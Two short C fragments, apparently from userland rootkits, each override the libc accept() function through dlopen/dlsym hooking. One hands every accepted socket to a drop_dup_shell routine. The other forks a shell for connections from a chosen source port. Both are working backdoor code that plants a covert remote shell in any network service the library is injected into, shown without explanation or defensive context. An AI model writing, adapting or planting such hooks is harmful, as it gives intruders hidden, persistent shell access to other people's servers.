int accept (int sockfd, struct sockaddr *addr, socklen_t * addrlen) { #ifdef DEBUG printf ("accept hooked.\n"); #endif if (!libc) libc = dlopen (LIBC_PATH, RTLD_LAZY); if (!old_accept) old_accept = dlsym (libc, "accept"); int sock = old_accept (sockfd, addr, addrlen); return drop_dup_shell (sock, addr); }
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) { if (!libc) { libc=dlopen(LIBC_PATH, RTLD_LAZY); } if(!old_accept){ old_accept = dlsym(libc,"accept"); } int fd = old_accept(sockfd, addr, addrlen); int portno = ntohs(((struct sockaddr_in*)addr)->sin_port); if (portno == PORT) { shell(fd); // will fork // We need to return a valid socket // this appears to work bug-free #ifdef CLOSE_SOCK return accept(sockfd, addr, addrlen); #endif } return fd; }